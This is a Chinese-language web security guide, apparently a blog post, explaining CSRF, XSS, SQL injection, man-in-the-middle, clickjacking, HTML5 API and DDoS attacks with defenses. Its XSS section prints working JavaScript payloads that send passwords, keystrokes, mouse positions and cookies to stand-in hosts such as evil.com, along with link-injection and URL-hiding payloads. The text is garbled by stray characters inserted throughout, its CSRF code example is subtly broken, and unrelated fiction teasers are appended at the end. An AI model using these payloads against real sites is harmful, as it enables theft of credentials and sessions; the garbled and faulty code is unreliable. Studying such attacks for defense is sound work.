Web 安全指南

Web安全

  • 機(jī)密性,比如用戶的隱私被竊取劈猿,帳號被盜拙吉,常見的方式是木馬。
  • 完整性揪荣,比如數(shù)據(jù)的完整筷黔,常見的方式是XSS跨站腳本攻擊csrf跨站請求偽造
  • 可用性仗颈,比如我們的網(wǎng)絡(luò)服務(wù)是否可用佛舱,常用的攻擊方式是dosddos,拒絕服務(wù)和分布式拒絕服務(wù)攻擊挨决。

CSRF

CSRF(Cross-site request forgery)请祖,中文名稱:跨站請求偽造

攻擊者盜用了你的身份,以你的名義發(fā)送惡意請求脖祈。
想要CSRF獲取用戶的信息肆捕,一般需要XSS注入成功

攻擊原理

CSRF攻擊是源于 WEB的隱式身份驗證機(jī)制!WEB的身份驗證機(jī)制雖然可以保證一個請求是來自于某個用戶的瀏覽器盖高,但卻無法保證該請求是用戶批準(zhǔn)發(fā)送的慎陵!

要完成一次CSRF攻擊,受害者必須依次完成兩個步驟:

  • 登錄受信任網(wǎng)站A喻奥,并在本地生成Cookie席纽。
  • 在不登出A的情況下,訪問危險網(wǎng)站B映凳。

CSRF攻擊有效經(jīng)常因為如下原因

  • 你不能保證你登錄了一個網(wǎng)站后胆筒,不再打開一個tab頁面并訪問另外的網(wǎng)站。
  • 你不能保證你關(guān)閉瀏覽器了后,你本地的Cookie立刻過期仆救,你上次的會話已經(jīng)結(jié)束抒和。(事實上,關(guān)閉瀏覽器不能結(jié)束一個會話彤蔽,但大多數(shù)人都會錯誤的認(rèn)為關(guān)閉瀏覽器就等于退出登錄/結(jié)束會話了......)
  • 上圖中所謂的攻擊網(wǎng)站摧莽,可能是一個存在其他漏洞的可信任的經(jīng)常被人訪問的網(wǎng)站。

CSRF防御

不使用GET更新資源
服務(wù)端對客戶端請求方法進(jìn)行驗證

在客戶端頁面增加偽隨機(jī)數(shù)(可以杜絕99%CSRF攻擊, 除非用戶Cookie被XSS漏洞盜取)
<?php
  // 服務(wù)端
  // 構(gòu)造加密的Cookie信息
  $value = “DefenseSCRF”;
  setcookie(”cookie”, $value, time()+3600);
?>

<?php
  // 客戶端
  $hash = md5($_COOKIE['cookie']);
  ?>
  <form method=”POST” action=”transfer.php”>
    <input type=”text” name=”toBankId”>
    <input type=”text” name=”money”>
    <input type=”hidden” name=”hash” value=”<?=$hash;?>”>
    <input type=”submit” name=”submit” value=”Submit”>
  </form>

<?php
// 在服務(wù)器端進(jìn)行Hash值驗證
  if(isset($_POST['check'])) {
    $hash = md5($_COOKIE['cookie']);
    if($_POST['check'] == $hash) {
      doJob();
    } else {
      //...
    }
  } else {
    //...
  }
?>
增加驗證碼
One-Time Tokens(不同的表單包含一個不同的偽隨機(jī)值通常與用戶身份有關(guān)不好猜測, 注意并行性兼容)

XSS

Cross-site scripting, 中文名稱: 跨站腳本分析

注入方式

javascript 注入
常用js代碼注入
src="javascript:alert(‘xss’)顿痪;"

js注入成功, 利用location.href注入拿到cookies或密碼
對于瀏覽器可以設(shè)置httpOnly來降低從用戶端拿到cookies進(jìn)行攻擊的可能性

location.镊辕;

js注入成功,從文本字段中竊取密碼

function stealpw(){  
  var pw = document.getElementById("password").value;  
  document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;  
}  
document.getElementById("button").onclick = stealpw; 

js注入成功, 鍵盤記錄工具(key logger)竊取鍵盤事件

function keylogger(e){  
  document.images[0].src = "http://evil.com/logger?key="  
  + e.keyCode;  
};  
document.body.addEventListener("keyup", keylogger, false);

使用鼠標(biāo)嗅探器竊取鍵盤事件

function sniffer(e){  
  document.images[0].src= "http://evil.com/imgs/sniffer?x="  
  + e.clientX + "&y=" + e.clientY;  
};  
document.body.addEventListener("mouseup", sniffer, false);  

js注入成功, 插入錯誤信息

// 警告消息
...  
<style type="text/css"> #warning { color: red } </style>  
...  
<div id="warning">The links in this page may refer to   
potentially malicious Web pages, so be careful. </div>  
...  
// 消除警告
var e = document.getElementById("warning");  
e.style.color= "white";  

js注入成功, img.href隱藏并注入

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);
上傳文件注入
  • js注入文件名
  • js注入exif信息
鏈接注入

普通鏈接注入

http://www.baidu.com/“onclick=alert('xss') title="xss"

" ' 被轉(zhuǎn)意但是依然注入

http://www.baidu.com/#"onclick=alert(this.name) name=xss ref=xss
Ajax JSON注入
采用普通注入
$('div:first').html('<script>alert("xss")</script>');
采用Unicode碼注入
$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');

防范XSS注入

  • 添加一個輸入值檢查
    • 黑名單: 在這種方法中,黑名單中的所有字符都會從輸入中過濾掉蚁袭。黑名單所面臨的最大的挑戰(zhàn)就是要確保所有危險的字符都包含在名單中征懈。因為要預(yù)測到所有可能的輸入組合是不可能的,所以黑名單經(jīng)常不能實現(xiàn)正確的驗證揩悄。
    • 白名單: 這種替代方法列出所有允許的字符并從輸入中移除所有其它的字符卖哎。白名單所面臨的最大的挑戰(zhàn)就是在保持列表盡可能簡短的同時,仍然能夠提供足夠的靈活性删性,允許 Web 應(yīng)用程序所需的輸入類型亏娜。
      人們通常認(rèn)為白名單是更加安全的選擇。因此蹬挺,推薦您使用白名單來清除具有潛在危險性的輸入维贺。

對發(fā)送給瀏覽器并在其上顯示的字符串中的特殊字符(比如說把小于號 (<) 換成 "<")進(jìn)行轉(zhuǎn)義是增強安全性的另一種方法。

  • 使用漏洞檢查工具
  • 不要動態(tài)地生成和執(zhí)行代碼, 禁止使用eval()
  • 在集成不可信內(nèi)容時使用 <iframe>, 利用同源策略使攻擊者不容易訪問整個DOM
  • 保障 JSON 的使用安全(使用正則表達(dá)式進(jìn)行檢查 或者 使用 JSON 解析器對 JSON 進(jìn)行解析巴帮。)
// 使用正則表達(dá)式檢查 JSON 字符
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(  
  text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&  
  eval('(' + text + ')');  

SQL注入

不要使用拼接字符串的方式進(jìn)行CRUD, 進(jìn)行數(shù)據(jù)庫參數(shù)化查詢, 頁面參數(shù)傳值只允許a-z0-9,對傳入?yún)?shù)進(jìn)行校驗, 本地數(shù)據(jù)庫不要存儲重要數(shù)據(jù)

彩虹表攻擊

不要存儲密碼原文, 密碼加鹽(鹽為偽隨機(jī)字符串), 二次hash 可以基本上杜絕彩虹表攻擊

中間人攻擊

無證書認(rèn)證的互聯(lián)網(wǎng)訪問, 由于是無加密透明的, 所以經(jīng)過的路由都可以查看路由流經(jīng)數(shù)據(jù), 無法防范中間人攻擊溯泣。

TLS中間人攻擊(TLS mim)

有什么危害?你與服務(wù)器的通信被第三方解密晰韵、查看发乔、修改。

如何防范

  • 啟用 HTTPS 瀏覽網(wǎng)頁
  • 必須對認(rèn)證過程的傳輸者/認(rèn)證過程的本身真實性進(jìn)行認(rèn)證雪猪。
  • 用戶根證書靠譜, 根證書必須是合格的證書頒發(fā)機(jī)構(gòu)頒發(fā)(證書有危險時瀏覽器會警告用戶)

劫持攻擊

點擊劫持

被攻擊的頁面作為iframe,用Mask的方式設(shè)置為透明放在上層起愈,惡意代碼偷偷地放在后面的頁面中只恨,使得一個頁面看起來似乎是安全的,然后誘騙用戶點擊網(wǎng)頁上的內(nèi)容抬虽,達(dá)到竊取用戶信息或者劫持用戶操作的目的官觅。

拖放的欺騙劫持

在同源策略里,一個域的Cookie只能被本域所訪問阐污,但是拖放操作是不受同源策略限制的休涤,這樣利用拖放操作、XSS和其他技巧,可以構(gòu)造跨域合法請求功氨,劫持Cookie序苏。欺騙用戶進(jìn)行拖放行為,就可以把用戶某個域的信息發(fā)送到另外一個域里捷凄。

如何防范

  • 方法1: X-Frame-Options
  • 方法2: if (top !==window) top.location = window.location.href; (攻擊者可以使用204轉(zhuǎn)向或者禁用Javascript的方式來繞過(例如iframe沙箱)忱详。)

HTML5 API攻擊

registerProtocolHandler:信息泄漏

HTML5允許某些協(xié)議和schema注冊為新的特性。
例如下面的語句可以注冊一個email handler跺涤。
navigator.registerProtocolHandler(“mailto”,“http://www.f.com/?uri=%s", “Evil Mail");
它會將一個惡意網(wǎng)站處理器關(guān)聯(lián)到mailto這個協(xié)議上匈睁,所以它在某些情況下的濫用會導(dǎo)致用戶信息泄漏。

文件API:竊取文件

HTML5另外一些API從安全角度來看很有意思桶错,它們還能混合起來使用航唆。

例如文件API允許瀏覽器訪問本地文件,攻擊者可以將它與點擊劫持和其他攻擊混合起來獲得用戶本地的文件院刁。比如騙取你從本地拖放文件到頁面里佛点,這種方法在劫持攻擊一文中有較詳細(xì)的闡述。

歷史API:隱藏XSS URL

利用HTML5歷史API的pushState黎比,可以隱藏瀏覽器地址欄的攻擊URL超营。例如我在瀏覽器地址欄輸入
http://test.baidu.com/?text=</div><script>history.pushState({},'',location.href.split("?").shift());document.write(1)</script>這個地址,用戶將會僅僅只看到http://test.baidu.com/阅虫。

這個問題和現(xiàn)在流行的短網(wǎng)址技術(shù)結(jié)合起來演闭,具有更大的隱蔽性。想象一下我們在微博上看到一個短網(wǎng)址颓帝,不會有任何懷疑就會點擊這個地址查看內(nèi)容米碰,而最后看到的地址也是相當(dāng)正常的,但是在這個過程中用戶的信息和資料就不知不覺被盜取了购城。


短URL結(jié)合歷史API的攻擊

Web Notifications:盜取數(shù)據(jù)

Web Notifications讓我們在瀏覽器中能夠接收推送的消息通知吕座,但是它有可能會被攻擊者利用來構(gòu)造虛假信息,騙取用戶數(shù)據(jù)瘪板。

桌面通知攻擊

Web Socket 攻擊

攻擊者有可能利用webSocket連接, 執(zhí)行服務(wù)器端口掃描程序, 如果發(fā)現(xiàn)漏洞, 看可以建立隧道, 這樣瀏覽器就編程一個后門通道

Web Socket會帶來的威脅包括:

  • 成為后門
  • 端口掃描
  • 僵尸網(wǎng)絡(luò)(一到多的連接)
  • 構(gòu)造基于WebSocket的嗅探器

防范手段

嚴(yán)格限制WebSocket的權(quán)限, 并注意內(nèi)網(wǎng)端口

DDOS攻擊

DDOS攻擊網(wǎng)站常見弱點(寫數(shù)據(jù)庫吴趴,聯(lián)表查詢,緩存溢出)

  • 登錄認(rèn)證
  • 評論
  • 用戶動態(tài)
  • ajax api
  • ...

防范手段

  • 拼帶寬 壕行為
  • 流量清洗&封IP 這么做的前提是攻擊包至少要到你的機(jī)房侮攀。而機(jī)房自保的措施導(dǎo)致了數(shù)據(jù)包根本到不了機(jī)房锣枝,無解
  • CDN服務(wù) 保住靜態(tài)化主頁可以訪問

參考

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市兰英,隨后出現(xiàn)的幾起案子撇叁,更是在濱河造成了極大的恐慌,老刑警劉巖畦贸,帶你破解...
    沈念sama閱讀 211,639評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件陨闹,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)趋厉,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,277評論 3 385
  • 文/潘曉璐 我一進(jìn)店門寨闹,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人觅廓,你說我怎么就攤上這事鼻忠。” “怎么了杈绸?”我有些...
    開封第一講書人閱讀 157,221評論 0 348
  • 文/不壞的土叔 我叫張陵帖蔓,是天一觀的道長。 經(jīng)常有香客問我瞳脓,道長塑娇,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,474評論 1 283
  • 正文 為了忘掉前任劫侧,我火速辦了婚禮埋酬,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘烧栋。我一直安慰自己写妥,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 65,570評論 6 386
  • 文/花漫 我一把揭開白布审姓。 她就那樣靜靜地躺著珍特,像睡著了一般。 火紅的嫁衣襯著肌膚如雪魔吐。 梳的紋絲不亂的頭發(fā)上扎筒,一...
    開封第一講書人閱讀 49,816評論 1 290
  • 那天,我揣著相機(jī)與錄音酬姆,去河邊找鬼嗜桌。 笑死,一個胖子當(dāng)著我的面吹牛辞色,可吹牛的內(nèi)容都是我干的骨宠。 我是一名探鬼主播,決...
    沈念sama閱讀 38,957評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼淫僻,長吁一口氣:“原來是場噩夢啊……” “哼诱篷!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起雳灵,我...
    開封第一講書人閱讀 37,718評論 0 266
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎闸盔,沒想到半個月后悯辙,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,176評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,511評論 2 327
  • 正文 我和宋清朗相戀三年躲撰,在試婚紗的時候發(fā)現(xiàn)自己被綠了针贬。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,646評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡拢蛋,死狀恐怖桦他,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情谆棱,我是刑警寧澤快压,帶...
    沈念sama閱讀 34,322評論 4 330
  • 正文 年R本政府宣布,位于F島的核電站垃瞧,受9級特大地震影響蔫劣,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜个从,卻給世界環(huán)境...
    茶點故事閱讀 39,934評論 3 313
  • 文/蒙蒙 一脉幢、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧嗦锐,春花似錦嫌松、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,755評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至菊值,卻和暖如春外驱,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背昵宇。 一陣腳步聲響...
    開封第一講書人閱讀 31,987評論 1 266
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留儿子,地道東北人瓦哎。 一個月前我還...
    沈念sama閱讀 46,358評論 2 360
  • 正文 我出身青樓,卻偏偏與公主長得像柔逼,于是被迫代替她去往敵國和親蒋譬。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 43,514評論 2 348

推薦閱讀更多精彩內(nèi)容